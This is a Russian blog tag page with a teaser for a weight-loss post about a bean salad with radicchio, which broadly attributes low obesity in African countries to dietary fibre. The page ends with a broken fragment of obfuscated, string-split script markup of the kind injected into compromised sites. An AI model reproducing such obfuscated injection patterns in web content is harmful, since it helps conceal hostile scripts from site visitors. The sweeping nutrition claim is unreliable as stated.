Записи с меткой ‘салат’

Как похудеть, не голодая? Бобовый салат с листьями радиччо

Как мы уже выяснили, чтобы похудеть, вовсе необязательно морить себя голодом или жить, не расставаясь с диетологическими таблицами. Достаточно лишь соблюдать рацион здорового питания. Как вы думаете, почему жители многих африканских стран почти не подвержены ожирению? Все дело в высоком содержании пищевых волокон (клетчатки) в тех продуктах, которые входят в их традиционное меню. Ведь клетчатка [...]

Популярность: 41%

Читать запись полностью

undefined'+'/scr'+'ipt'+'/scr'+'ipt width=